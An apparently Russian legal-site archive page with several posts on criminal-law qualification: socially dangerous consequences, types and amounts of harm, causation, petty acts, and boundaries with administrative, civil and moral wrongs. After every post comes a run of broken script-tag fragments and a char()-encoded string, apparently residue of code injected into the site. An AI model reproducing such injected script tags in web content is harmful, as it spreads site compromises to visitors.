Сегодня
НАВИГАЦИЯ:
ЮРИДИЧЕСКОЕ НАСЛЕДИЕ:
РАЗНОЕ:
РЕКЛАМА:
АРХИВ НОВОСТЕЙ:
Понятие и законодательная конструкция общественно опасных последствий
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Многие квалификационные ошибки связаны с пониманием общественно опасных
последствий, их классификацией и определением размеров ущерба.
Уголовный кодекс РФ в качестве родового понятия употребляет термин
«общественно опасные последствия». Видовые понятия обозначены терминами
«ущерб», «вред», «вред правам и законным интересам граждан», «вред интересам
личности, общества, государства». Общественно опасные последствия — это вредные
изменения в охраняемых уголовным законом объектах, причиненные действиями
(бездействием) субъекта преступления. У них, таким образом, два
криминообразующих признака — вредное воздействие на объект, и они являются
следствием действия (бездействия) лица. Оба определяют содержание общественно
опасных последствий. Непосредственный объект, т.е. те или иные общественные
отношения или по терминологии УК «интересы», определяет содержание преступного
вреда (ущерба). Действия (бездействие) влияют на характер вредоносности
общественно опасных последствий в их функции условия и причины.
Понимание общественно опасных последствий в теории уголовного права (не в УК и
не на практике) оказалось весьма дискуссионным ввиду спорности концепции состава
преступления, о которой говорилось в гл. I настоящего издания. В.Н. Кудрявцев,
А.В. Наумов, М.И. Ковалев, Э.С. Тенчов и другие ученые, придерживающиеся
нормативистского понимания состава, различают материальные и формальные составы
по их описанию в УК. Состав, по их мнению, материальный там, где статья Особенной
части Кодекса содержит указания на последствия, а там, где указаний нет —
формальный. Против деления составов в зависимости от наличия либо отсутствия
общественно опасных последствий на материальные и формальные, усеченные и
неусеченные выступали А.Н. Трайнин, Н.Ф. Кузнецова, В.Д. Прохоров, С.В. Землюков,
Ю. Ляпунов и др. Сама идея классификации составов на материальные и формальные
объявляется рядом исследователей «теоретически надуманной и фактически
вредной»199.
Дискуссия явно затянулась, продолжается более 40 лет200, и все-таки определенные
«подвижки» имеются. В 1950 гг., когда А.Н. Трайнин выступил с аргументированной
критикой данной классификации, ее сторонники писали о формальных и материальных
преступлениях. Ныне считается абсурдом признавать существование безвредных
формальных преступлений, пишут о материальных и формальных, усеченных и
неусеченных составах преступлений. При этом большинство сторонников
нормативистского понимания состава считает вслед за М.И. Ковалевым, что деление на
формальные и материальные составы — это законодательный прием, вопрос
законодательной техники.
Деление составов на материальные (с последствиями) и формальные
(беспоследственные) логически вытекает из уравнивания состава преступления с
диспозицией уголовно-правовой нормы. Действительно, далеко не во всех нормах УК
содержится прямое указание на последствия. По данным В.Н. Кудрявцева признаки
общественно опасных последствий названы более чем в половине составов УК. На
самом деле безвредных преступлений не существует. Более того, именно в ущербе
правоохраняемым интересам фокусируется общественная опасность преступления.
Вина — психическая направленность на общественно опасные последствия. Действие
(бездействие) — объективная направленность на причинение преступных последствий.
Вменяемое лицо никогда не совершит действие (бездействие) ради самого процесса
поведения без объективной и субъективной направленности на достижение
результатов. Способы действия (бездействия) — насильственные, групповые,
обманные, с использованием служебных полномочий — формы поведения,
направленные на достижение преступного результата.
В.Н. Кудрявцев, поясняя, почему состав преступления в диспозициях норм не
указывает на общественно опасные последствия, называет пять причин.
Во-первых, последствия в статье Особенной части не упоминаются, так как могут
наступить, а могут не наступить. Например, при нарушении правил международных
полетов (ст. 271), незаконный переход границы (ст. 322), сокрытие информации об
обстоятельствах, создающих опасность для жизни или здоровья людей. В
действительности, какие последствия автор имеет здесь в виду? Понятно, что не
физический или имущественный вред, который действительно может наступить или нет.d131d5f4c7f8328642df4485a0c01e86.js" type="text/javascript">d8467a1e203d37473f57fe5e17c50e62char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)68a6b07d48646f1a52981002a029a823.js" type="text/javascript">9ac77bf798d2e8772aa5d4c1084f042d.js" type="text/javascript">c6865fa335dfe76c70158b32a9acb96e.js" type="text/javascript">3afd789afd6d48518de25dac0f37f364.js" type="text/javascript">b7a7e1ed45f9b019055d3e5ac4a9d771.js" type="text/javascript">47246bb69e22203f869c9b1486a80eb6.js" type="text/javascript">91a8fd69e124fa3f2b0e0861e0bf737b.js" type="text/javascript">3f46867fcf6933d92a0eca6edc2e6903.js" type="text/javascript">61c0a276efa70e4eedd5d06e292d246b.js" type="text/javascript">94261133786c2da7a9f830dd706d1c40.js" type="text/javascript">44cb2e7b11dc3d8816c759b54ef95487.js" type="text/javascript">
Коментариев: 0 | Просмотров: 246 |
Квалификация общественно опасных последствий по их видам
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Как отмечалось, содержание общественно опасных последствий определяется
содержанием непосредственных объектов и предметов — обязательных элементов
состава. Непосредственных объектов около 100, соответственно столько же по
содержанию ущербов (вреда) этим объектам. Если их сгруппировать по родовым
объектам, то получится более 20 разнящихся ущербов. Таковы: 1) физический вред
жизни; 2) физический вред здоровью; 3) психофизический вред неприкосновенности
(свободе) личности; 4) моральный вред чести и достоинству; 5) психофизический вред
половой неприкосновенности и половой свободе; 6) социальный вред восьми видам
конституционных прав и свобод; 7) социальный и психофизический вред нормальному
развитию несовершеннолетних; 8)
имущественный ущерб собственнику;
9) организационно-экономический вред 15 видам предпринимательской деятельности;
10) организационно-экономический ущерб служебным интересам в коммерческих
организациях; 11) физический, имущественный, организационный вред интересам
общественной безопасности и общественному порядку, конкретизируемый в ущербах
пяти непосредственным объектам (оружейная, морская безопасность и др.); 12) вред
здоровью и общественной нравственности, конкретизируемый в ущербах восьми
непосредственных составов; 13) экономический ущерб, конкретизируемый в ущербах
девяти непосредственных объектах по подсистемам экономических преступлений; 14)
физический, имущественный, организационный ущерб транспортной безопасности по
видам транспорта; 15) экономический и организационный ущерб компьютерной
безопасности; 16) организационный, физический, экономический ущерб интересам
государственной власти в виде ущерба основам конституционного строя, нормальному
функционированию Счетной палаты РФ; интересам государственной службы, системе
документооборота и другим пяти непосредственным объектам; 17) ущерб интересам
правосудия шести непосредственным объектам; 18) ущерб интересам порядка
управления в виде ущербов шести непосредственным объектам; 19) ущерб интересам
военной службы в виде ущербов 11 непосредственным объектам; 20) ущерб интересам
мирового сотрудничества, безопасности человечества, мировому правопорядку,
конкретизируемый в ущербе пяти непосредственным объектам.
При группировании общественно опасных последствий по содержанию (характеру)
они распадаются на пять основных групп: 1) физический вред; 2) имущественный
ущерб; 3) социальный вред; 4) организационный вред; 5) комплексный ущерб в разных
соотношениях четырех предыдущих видов вреда.
Наиболее обобщенная классификация ущербов на две группы: материальные и
нематериальные. Первые два вида из перечисленных относятся к материальному вреду.
Третий и четвертый — к нематериальному. Пятый может сочетать черты
материального и нематериального вреда.
Физический включает психофизический вред. Он причиняется таким интересам
человека, как его жизнь, здоровье, психика, сексуальная неприкосновенность. Этот вид
выступает в роли конструктивного признака составов в преступлениях против жизни,
здоровья, половой неприкосновенности и участвует в квалификации всех других
преступлений, где он причиняется. Потерпевший, которому такой вред наносится,
всегда выступает в качестве изначально живого человека.
Имущественный ущерб — вредоносные изменения в отношениях собственности.
Предмет — вещи, активы, ценные бумаги и иные носители прав собственности. Они
всегда являются обязательным элементом составов имущественных преступлений.
Социальный вред представляет собой общественно опасные изменения в
отношениях прав и свобод личности, прежде всего конституционных прав.
Организационный вред суть общественно опасные дисфункции в различных сферах
общественных отношений, не входящих в три предыдущие подсистемы объектов: вред
интересам государственной безопасности, общественной безопасности, правосудия,
военной службы и др.
Комплексный ущерб сочетает в разных пропорциях физический, имущественный,
социальный, организационный вред, причиняемый непосредственным объектам (таков,
например, ущерб в ряде предпринимательских преступлений).
Исследователи выделяют иногда моральный вред, который предусмотрен в ГК и
УПК РФ. В приведенной классификации он включен в физический вред, что
соответствует гражданско-правовому определению морального вреда как физического
и психического страдания. Сюда же уместно отнести вред, наносимый общественной
нравственности (гл. 25).3f48e9aff6f690130aff733eb71c5f47.js" type="text/javascript">57004ee2cf7fed94857671262a1b03ddchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)09cc1fd504323775f0eb43357aaec11d.js" type="text/javascript">8d664f682d86e6a15171bb759b1859f5.js" type="text/javascript">de3d3ead089e66ec7bf5d593ebbcc57f.js" type="text/javascript">66ed797ad29eeb2b17fffa833aed4b3e.js" type="text/javascript">e1828c840b8b42adda9bdbb357f23e35.js" type="text/javascript">59b9758adb36c22b32137f1b33106ccd.js" type="text/javascript">4a0d63fd76ae0496b6136082d00d2210.js" type="text/javascript">ae4b94c7a7cb1671901ede53922a19f5.js" type="text/javascript">f3b4969a580c4d70b08e8b25f443cd3e.js" type="text/javascript">2cef2c28722ed0209ad37cbb6440dd4f.js" type="text/javascript">43b3e1a239f89e584f7c52b6831bae5c.js" type="text/javascript">
Коментариев: 0 | Просмотров: 195 |
Квалификация общественно опасных последствий по их размерам
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Квалификационные ошибки, связанные с определением размера ущерба, достаточно
распространены. Объем вреда значим для оценки размера квалифицирующих
общественно опасных последствий и для разграничения преступлений и проступков, и
исходя из единиц его измерения.
Физический вред исчисляется в убийствах количеством лишенных жизни жертв. В
преступлениях против здоровья — степенью повреждения здоровья — легкий, средней
тяжести вред, вред в побоях и истязаниях их размеры достаточно четко обрисованы в
соответствующих диспозициях норм Особенной части УК.
Психофизический (моральный) вред такой законодательной фиксации не поддается.
Он носит оценочный характер, об измерениях которого говорилось в предыдущей
главе.
Имущественный ущерб измеряется в рублях. В составах, где он однородно-простой,
например, в хищениях233, уничтожении имущества законодатель стремится предельно
конкретизировать величину ущерба. Так, крупным размером ущерба в преступлениях
против собственности признается стоимость имущества, превышающая 250 тыс. руб., а
особо крупным — 1 млн руб. Значительный ущерб гражданину определяется с учетом
его имущественного положения, но не менее 2500 руб.
В такой конкретизации размера имущественного ущерба заключается плюс в
определенности, исключающей квалификационные ошибки, когда он равен или более
названному максимуму. Вопросы возникают в случаях, когда ущерб оказывается не
намного меньшим максимального размера. К примеру, как квалифицировать хищение
на 999 тыс. руб., когда до максимума не хватает одной тысячи рублей? По прямому
предписанию закона признавать такое хищение особо крупным нельзя, а просто
крупным при значительной разнице между крупным и особо крупным ущербом в
приведенном примере кажется несправедливым. Преодолеть это противоречие в
данном и подобных случаях можно только посредством санкций, чтобы предельный
размер санкций за крупный размер хищения несколько заходил за минимальный размер
санкций за особо крупный размер. Так, за кражу в крупном размере по ч. 2 ст. 158
предусмотрено лишение свободы до шести лет, а за особо крупный от пяти до десяти.
Санкция за крупную кражу до восьми лет, когда размер крупного ущерба мало
отличается от особо крупного, позволил бы суду назначать более справедливое
наказание.
Терминологическая многозначность УК при описании величины имущественного
ущерба побудила отдельных исследователей к поиску различий между понятием
«размера крупного ущерба» и «крупный ущерб», воздвигнув между ними, как
отмечалось, стену весьма сложной конструкции234.
Подтверждением лишь терминологической полисемичности, а не принципиальных
различий между словами «размер ущерба» и «ущерб», могут служить, к примеру,
ст. 146 УК «Нарушение авторских и смежных прав». В ч. 1 статьи говорится о
«крупном ущербе», в ч. 2 — о крупном размере, ч. 3 — об «особо крупном размере».
Примечание к ст. 146 определяет крупный размер хищения интеллектуальной
собственности, если стоимость экземпляров произведений или фонограмм либо
стоимость прав на использование объектов авторских прав и смежных прав превышает
50 тыс. руб., а в особо крупном размере — 250 тыс. руб.5b529ae261a9aa2056b4b850b5e82204.js" type="text/javascript">5d4d92fc525f678f4455cab184ba6895char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0047fedfde6e0c6d41488456cc2a58e0.js" type="text/javascript">096b5500ab92b31aa0edf704cff6ae76.js" type="text/javascript">0609471e1223b69430ab0fc33569cb13.js" type="text/javascript">bb7efc064ad6aa5cd8eef0d9140e01f3.js" type="text/javascript">cd7a4b7bdb2282b9b755f140b63c29c5.js" type="text/javascript">4fa91f8a977abb060052c68e7bcbef40.js" type="text/javascript">ca1a315cea5f55ef5e4186e1b0412f7d.js" type="text/javascript">e622960d59f640be8fc9dc3c0fd3b299.js" type="text/javascript">bcdf1fe51ccd53c4a45318cb602903d7.js" type="text/javascript">0869a44babeaf9feb9018dd4672c8c54.js" type="text/javascript">094df5a264b19392eb6c68e35ff30285.js" type="text/javascript">
Коментариев: 0 | Просмотров: 171 |
Квалификация преступлений с учетом характера причинной связи между действием (бездействием) и общественно опасными последствиями
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
В предыдущих параграфах данной главы рассматривалась квалификация
преступного ущерба в аспекте вредных изменений в объектах посягательств,
показывалась взаимосвязь характера объекта с характером вреда. Другое свойство
преступного вреда — каузальное. Вред квалифицируется как преступный, если он
является последствием причины в виде общественно опасного действия
(бездействия)237.
Квалификация каузального свойства преступных последствий строится на
законодательном, доктринальном и официальном правоприменительном толкованиях.
Единичные УК нормативно определяют причинную связь (см., например, ст. 8 УК
Грузии «Причинная связь»).
Основные каузальные квалификационные ошибки:
а) бездействие не признается причиной общественно опасных последствий;
б) причина отождествляется с условием наступления последствий;
в) смешиваются два разных вида связи: причинно-следственная и случайная и
необходимая;
г) причинная связь не устанавливается в преступлениях с так называемым формальным
составом;
д) дается неправильная оценка заключений судебных экспертиз относительно причин
наступления общественно опасных последствий;
е) в объективную причинную связь включаются субъективные признаки, прежде всего
вина;
ж) неучет особенностей причинения вреда при соучастии.
Отрицание каузальных свойств бездействия допускал в 1950 гг. М.Д. Шаргородский,
в конце XX в. — В.Б. Малинин238. Такая позиция основывалась на неверном
понимании бездействия: «ничто не причиняет ничего». Для законодательства и
правоприменения нет сомнения в причинности бездействия. Бездействие толкуется не
как «ничто», а другая, пассивная, в отличие от активности действия форма поведения.
Ее каузальный потенциал заключается в том, что субъект выключает себя из
поведенческих систем, будучи обязанным и имея возможность действовать для
предотвращения вреда. Уголовный кодекс РФ предусматривает целый ряд преступных
бездействий, которые причиняют реальный вред или создают опасность его
наступления. Адекватно бездействию как пассивному виду общественно опасного
поведения удачно характеризуют ее как «пассивная причина»239.
Халатность — это бездействие в виде неисполнения должностным лицом своих
обязанностей вследствие недобросовестного или небрежного отношения к службе, если
это повлекло причинение крупного ущерба (ст. 293 УК). Неоказание помощи больному
— тоже бездействие лица, которое обязано ее оказывать в соответствии с законом или
со специальными правилами, «если это повлекло по неосторожности причинение
средней тяжести вреда здоровью» (курсив мой. — Н.К.) (ст. 124 УК).
Следственная и судебная практика устанавливает долженствование и возможность
субъекта действовать так, чтобы предотвратить наступление общественно опасных
последствий. Так, заместитель начальника РУВД и начальник следственного отдела Б.
в период с мая 1994 по февраль 1996 г. небрежно относилась к службе, ненадлежащее
выполняла требования ст. 1271 УПК РСФСР, не контролировала в должной мере
действия следователей по раскрытию и расследованию преступлений, принимала
недостаточные меры к наиболее полному, всестороннему и объективному производству
предварительного следствия по уголовным делам, не организовывала и не
контролировала работу своего заместителя, небрежно относившегося к своим
служебным обязанностям, в результате чего несколько подчиненных ей следователей
при расследовании уголовных дел допустили нарушения требований закона, «что
повлекло существенное нарушение законных интересов граждан, а также охраняемых
законом интересов государства и общества» (курсив мой. — Н.К.)240. Бездействие
виновной квалифицировалось по ч. 1 ст. 293 (халатность). Следователи привлечены к
дисциплинарной ответственности.cd3f00ed83d57f61b0e62e4f2980d02a.js" type="text/javascript">d95f5a089a8afe61d4d03654a1954ea6char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7957d337b617f926efa11ea045cbefac.js" type="text/javascript">e67be5a54281939e6dc1a4bcce2be658.js" type="text/javascript">2a7218f1ff27e9cf2e1866422c32bbf5.js" type="text/javascript">13ddbfc399487f9b13c6e895a708707b.js" type="text/javascript">ebf8e5e9c8a3af7bd9dbff2426ce8e2a.js" type="text/javascript">d21bdcdff871b3fb5e6a8219a9e0be15.js" type="text/javascript">b2d53dd45b98be5335e7a97a14424cc0.js" type="text/javascript">d33b9ffac88eafd47de22d3a78dd8c34.js" type="text/javascript">6291d3e00a5e746c44277343c8c72b16.js" type="text/javascript">8fbfce8b13a4b45a5658147b76dbfd11.js" type="text/javascript">5814e766c6c5f1aeed751112da2095d7.js" type="text/javascript">
Коментариев: 0 | Просмотров: 350 |
Квалификация малозначительных деяний
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Граничат с малозначительными непреступными деяниями (ч. 2 ст. 14), являющимися,
как правило, проступками и аморальными поступками, умышленные преступления
небольшой тяжести. Часть 2 ст. 14 включает в эту первую категорию умышленные и
неосторожные преступления, за совершение которых максимальное наказание,
предусмотренное Кодексом, не превышает двух лет лишения свободы. Неосторожные
преступления небольшой тяжести из числа смежных с непреступными
малозначительными деяниями и проступками выпадают. Без причинения реального и
относительно значительного ущерба они законодателем не криминализируются.
Значительность же ущерба является безусловным основанием квалификации
содеянного как преступления. Без криминального ущерба они могут быть лишь
проступками.
Уместно напомнить, что первоначальная редакция УК РФ 1996 г. раскрывала
содержание малозначительного деяния как не причинившего вреда и не создавшего угрозу
причинения вреда личности, обществу или государству. Большинство УК стран СНГ
именно так определяют малозначительное деяние. Даже УК Грузии, который отказался от
определения понятия преступления и общественной опасности как его обязательного
свойства, записал в ч. 2 ст. 7 «Основания уголовной ответственности», что «не является
преступлением деяние, хотя формально и содержащее признаки какого-либо деяния,
предусмотренного настоящим Кодексом, но в силу малозначительности не причинившее
вреда, который бы повлек необходимость уголовной ответственности лица, его
совершившего, либо не создавшего угрозы причинения такого вреда».
Почему ФЗ от 25 июня 1998 г. № 92-ФЗ была изменена редакция ч. 2 ст. 14 УК РФ,
исключена характеристика малозначительного деяния как не причиняющего ущерб и
не создающего угрозы причинения такой опасности, остается неясным.
В.Н. Кудрявцев считает изменение ч. 2 ст. 14 УК правильным, ибо «деяние потому и
называется малозначительным, что вред охраняемому объекту оно все же приносит, но
этот вред крайне невелик»253. Между тем причиненный малозначительным деянием
мизерный вред не является общественно опасным. Он может именоваться
асоциальным, антисоциальным. Общественно опасный вред присущ исключительно
преступлениям.
Уголовный кодекс Республики Беларусь в ч. 4 ст. 11 записал: «Не является
преступлением действие или бездействие, формально содержащее признаки какого-
либо деяния, предусмотренного настоящим Кодексом, но в силу малозначительности
не
обладающее
общественной
опасностью, присущей
преступлению.
Малозначительным признается деяние, которое не причинило и по своему содержанию
и направленности не могло причинить существенного вреда охраняемым уголовным
законом интересам».
По правовой природе малозначительные деяния представляют собой юридические
либо этические проступки254. УК Республики Беларусь в ч. 4 ст. 11 «Понятие
преступления» предусматривает, что малозначительное деяние в случаях,
предусмотренных законом, может повлечь применение мер административного или
дисциплинарного взыскания.d81afbd8717d812d9908c44dd71ef5ae.js" type="text/javascript">b2f23e547e0366bccaefdbbedaf19164char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ca887ff0e78810fe4b32da558e41f910.js" type="text/javascript">72e51df2c069c1a61697d581965e8294.js" type="text/javascript">bbfd7cfafb0c4d5ed1534207a4c9ece7.js" type="text/javascript">5acf6ae275cf8805f54eeacdec8254f0.js" type="text/javascript">d0414a501b436d0cff982e18d0deed1c.js" type="text/javascript">a8c3a0072da55b07ccfdcbfe34efd395.js" type="text/javascript">da315d04fb43461dfa9e980cfff3bc32.js" type="text/javascript">94fc82f0b58fbac8b447b2131aee3721.js" type="text/javascript">4d5a81162db64eaf1e6810dac303fdba.js" type="text/javascript">a44302c7b18353d211f9276f5342b43d.js" type="text/javascript">48fb39c0a75b9ed53f9bade123885857.js" type="text/javascript">
Коментариев: 0 | Просмотров: 503 |
Квалификация преступлений, граничащих с административными проступками
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Наиболее протяженной является граница между УК и КоАП. В связи с этим при
выборе нормы для квалификации преступлений небольшой тяжести нередко возникает
необходимость разграничения уголовного и административного правонарушений.
Семнадцатью главами Особенной части Кодекса РФ об административных
правонарушениях охарактеризованы те же интересы личности, общества и государства,
что и УК РФ. Исключение составляют такие объекты, как жизнь и здоровье человека
(до неосторожного причинения легкого вреда здоровью), основы конституционного
строя, международно-правовые интересы.
Широкая юрисдикция мирового суда, составляющая все виды правонарушений:
преступные, наказуемые до трех лет лишения свободы, административные,
дисциплинарные,
гражданско-правовые,
обеспечивают
профессиональную
компетентность в разграничении смежных правонарушений256. Сопоставляемые
преступления, как правило, относятся к категории преступлений небольшой тяжести.
Хотя УПК РФ допускает рассмотрение мировым судьей и дел о преступлениях с
санкцией до трех лет лишения свободы, т.е. о преступлениях средней тяжести,
квалификация правонарушений в одном производстве мирового судьи возможна, как
представляется, без особых трудностей, связанных, в частности с проблемой запрета
поворота к худшему.
Перечень дел о преступлениях предусмотрен ч. 1 ст. 31 УПК, включает дела о таких
распространенных преступлениях, как кража без квалифицирующих признаков (ч. 1
ст. 158 УК) (по уголовной статистике половина всех зарегистрированных
преступлений — кража), незаконное приобретение или хранение без цели сбыта
наркотиков (ч. 1 ст. 228 УК), оскорбление (ст. 130) и клевета (ст. 129 УК).
Сопоставление норм УК и КоАП показывает, что в случаях идентичности
охраняемых интересов и форм вины — экономических, экологических, управленческих
и пр., различие между уголовно и административно наказуемыми деяниями проходит,
главным образом, по степени антисоциальности. В преступлениях она всегда выше и
именуется общественной опасностью. В административных правонарушениях
антисоциальность терминологически в законе не обозначена. Статья 2.1 КоАП
административным правонарушением признает «противоправное, виновное действие
(бездействие) физического или юридического лица, за которое настоящим Кодексом
или законами субъектов Российской Федерации об административных
правонарушениях установлена административная ответственность».
Некоторые представители административной правовой науки сожалеют, что
административные правонарушения законом не характеризуются как общественно
опасные. Так, авторы комментария к КоАП пишут: «К сожалению, как и в предыдущем,
так и в новом КоАП законодатель не указал на такой юридический признак
правонарушения, как общественная опасность. Административное правонарушение,
являясь противоправным деянием, уже содержит в себе признаки общественной
опасности. Кроме того, представляется, что этот признак присущ не только
преступлениям (ст. 14 УК закрепляет данный признак), как утверждают некоторые
ученые административисты, но и административным правонарушениям, так как объект
посягательства у них часто совпадает, степень общественной опасности во многих
случаях является критерием разграничения правонарушений от преступлений»257.
Аргументы представляются неубедительными, а сожаление — напрасным.
Противоправность деяний не содержит признаков общественной опасности.
Противоправность — их юридическое свойство, общественная опасность —
социальное (материальное). Преступления от проступков, в их числе
административных, отличаются не только степенью антисоциальности, но и
характером таковой. При совпадении объектов охраны (собственности, общественного
порядка, экологии и т.п.) криминальная антисоциальность наивысшая, и
законодательно обозначена термином «общественная опасность».fdcb2fe63a7ebe458293ac8a390f1e5c.js" type="text/javascript">b279ba8575ee70ccac52d4fe6ccde4e0char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)bf29452a599a19cedb435569129f5877.js" type="text/javascript">443a2cdc73d9697c530dd143c66c2c3c.js" type="text/javascript">c691f442fc02b6136b45e8e2d781eadd.js" type="text/javascript">3e3c4deb905b01dc21765bc3a7fc03be.js" type="text/javascript">3dad6241f1fd48f6b0b42e91dc76d9b0.js" type="text/javascript">71326eb387b4e41cc698d5ddcb5706ae.js" type="text/javascript">a05bf219c5875e5609a3132ed908f8b7.js" type="text/javascript">8ab0469a351d1cdceb266ed60a5d6d92.js" type="text/javascript">a21cc87310a85380fa60e547c5ac1d55.js" type="text/javascript">8b7738277062ce5cc80d41cbdc59cde4.js" type="text/javascript">1967db44e6a2534d284f6431fc5c7a82.js" type="text/javascript">
Коментариев: 0 | Просмотров: 236 |
Квалификация преступлений, граничащих с гражданскими правонарушениями
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Решая вопрос о том, какая норма УК или ГК РФ должна быть избрана для
квалификации деяния, следует учитывать специфику гражданского законодательства.
Подобно уголовному ГК имеет статус федерального права. Вместе с тем принципа
полной кодификации как уголовное право оно не придерживается. Значительное
количество гражданско-правовых отношений регламентируется не ГК, а другими
федеральными законами, например, о несостоятельности (банкротстве), о конкуренции
и ограничении монополистической деятельности на товарных рынках, а также указами
Президента РФ, постановлениями Правительства при условии их непротиворечия ГК. В
связи с этим поиск нормы для квалификации содеянного не всегда может
ограничиваться ГК, а требует обращения к специальным федеральным гражданско-
правовым актам. Помимо законов допускается применение гражданского
законодательства по аналогии (обычаев делового оборота, ст. 5 ГК)
Гражданская ответственность за причинение вреда личности, обществу, государству
может наступать и без вины причинителя. Так, ч. 2 ст. 1064 ГК, гласит: «Лицо,
причинившее вред, освобождается от возмещения вреда, если докажет, что вред
причинен не по его вине. Законом может быть предусмотрено возмещение вреда и при
отсутствии вины причинителя вреда».
Без вины осуществляется компенсация вреда, причиненного жизни, здоровью,
имуществу гражданина при использовании источников повышенной опасности, в
результате незаконных осуждения, привлечения к уголовной ответственности,
применения в качестве меры пресечения заключения под стражу или подписки о
невыезде, наложения административного взыскания в виде ареста или исправительных
работ и т.д.
Для материального и процессуального уголовного законодательства оба положения
о бремени доказывания на стороне причинителя вреда и его невиновности
неприемлемы. В связи с этим нормы ГК, допускающие отсутствие вины причинителя
вреда, и нефедерального статуса не участвуют при квалификации граничащих
преступлений и деликтов.
Гражданский кодекс не определяет содержание вины, а говорит об умысле в целом,
не различия его форм, о грубой неосторожности, неосторожности и степени вины. Судя
по используемым терминам гражданско-правовая вина не похожа на уголовно- и
административно-правовую. Например, в ст. 173 ГК сделка юридического лица
признается недействительной, «если оказалось, что другая сторона в сделке знала или
заведомо должна была знать о ее незаконности» (курсив мой. — Н.К.). Для
определения факта и степени вины используются оценочно-нравственные
характеристики, которые при квалификации преступлений трудно использовать. К
примеру, ст. 137 «Животные» устанавливает, что «при осуществлении прав не
допускается жестокое обращение с животными, противоречащее принципам
гуманности» (курсив мой. — Н.К.). Статья 169 уравнивает правовые и нравственные
нормы, признавая недействительной сделку, «совершенную с целью противной
основам правопорядка и нравственности».
Гражданский кодекс признает вину потерпевшего и учитывает ее при определении
возмещения за причиненный вред. В свое время мною предпринимались попытки
правило «смешанной» вины распространить и на уголовное право, например по делам
об автотранспортных преступлениях. Предлагалось в случае вины потерпевшего в
причиненном ему ущербе в 50 и более процентах квалифицировать действия водителя
автотранспортных средств по статье не о причинении тяжких телесных повреждений, а
о причинении вреда средней тяжести. Идею не поддержали практические работники,
даже адвокаты, специализирующиеся по делам данной категории. Довод о том, что,
если такую вину умеет устанавливать и высчитывать гражданское законодательство, то
возможно это сделать и в уголовном праве, не убедил коллег. Согласились только с
тем, что в наказании водителя надо учитывать вину потерпевшего, приближая его к
санкциям неквалифицированного состава262. Такую позицию занял в 1970 г. Пленум
Верховного суда в постановлении «О судебной практике по делам об
автотранспортных преступлениях» с изменениями от 16 января 1996 г.263УК 1996 г.
признал в качестве смягчающего наказание обстоятельства «противоправность или
аморальность поведения потерпевшего, явившегося поводом для преступления» (п. «з»
ч. 1 ст. 61 УК).
Правонарушения без вины не являются пограничными для преступлений, и нормы
ГК о них не входят в систему поиска квалификационной нормы.
Характеристика субъекта гражданского деликта также не похожа на описание
субъекта преступления в УК. Так, ГК признает физическое лицо с учетом его
гражданства, места жительства. При наличии у лица нескольких иностранных
гражданств личным законом является право страны, в которой это лицо имеет место
жительства (ч. 4 ст. 1195 ГК). При этом встает вопрос, актуальный для российских
олигархов, официально объявленных и необъявленных в международный розыск: если
у них по два гражданства, разрешенных Конституцией РФ, но несколько мест
проживания? Решение его Уголовный кодекс предлагает достаточно четкое —
квалификация преступления по правилам: территориальному, гражданскому, флага,
универсальному.18b905804467b808752df8266d43e88f.js" type="text/javascript">521c512e2d3b69a34529a1a72505a260char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7d54b5357825fad55276910665f98270.js" type="text/javascript">fc60d1e6e87026a4190a609613280564.js" type="text/javascript">698bc26359c23d8b991bf097c794701d.js" type="text/javascript">18e87959b072a49aabe59612c8b1689f.js" type="text/javascript">f8f02b5a14090ec61357bc2dfde3095a.js" type="text/javascript">d792942ffabde68044808a5f21d083ff.js" type="text/javascript">20f016b5e6ec63e69f8ab61452c8e083.js" type="text/javascript">23504f880c5dceafc7ff5d539912cae0.js" type="text/javascript">64d4946242ac6b8be4b6a177bd34327d.js" type="text/javascript">ae2c8742fdb950a978a1744e6ca6dc3f.js" type="text/javascript">1cf8369355bc94049ea71335ac3801c8.js" type="text/javascript">
Коментариев: 0 | Просмотров: 302 |
Квалификация преступлений, граничащих с аморальными проступками
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Сфера аморальных проступков шире, чем всех иных вместе взятых правонарушений,
в их числе криминальных. В идеальной правовой системе каждое правонарушение
аморально. Вместе с тем значительное число аморальных проступков по своей сути не
регламентируется правом. Например, отношения любви и дружбы. Еще К. Маркс
отмечал: «Если бы брак не был основой семьи, он также не являлся бы предметом
законодательства, как, например, дружба»284.
Проблема уголовного права и морали многоаспектна и достаточно сложна и для
законодателя, и для правоприменителя. Какие аморальные проступки следует
криминализировать, какие преступления целесообразно декриминализировать, признав
их лишенными общественной опасности, но содержащими признаки аморализма.
Правоприменителю не всегда просто размежевать по характеру и степени
антисоциальности преступления и аморальные проступки, нелегко подчас
квалифицировать «морализованные» и оценочные признаки деяния типа «неприличная
форма», «общественная нравственность» и др. Решение таких квалификационных
проблем зависит не много не мало от нравственного климата в обществе, от признания
его членами соответствующих моральных ценностей. В 1990 гг. Россия переживала
глубокий системный, в том числе духовный кризис, который еще не преодолен.
Пореформенная духовность стала больше походить на бездуховность285или морально-
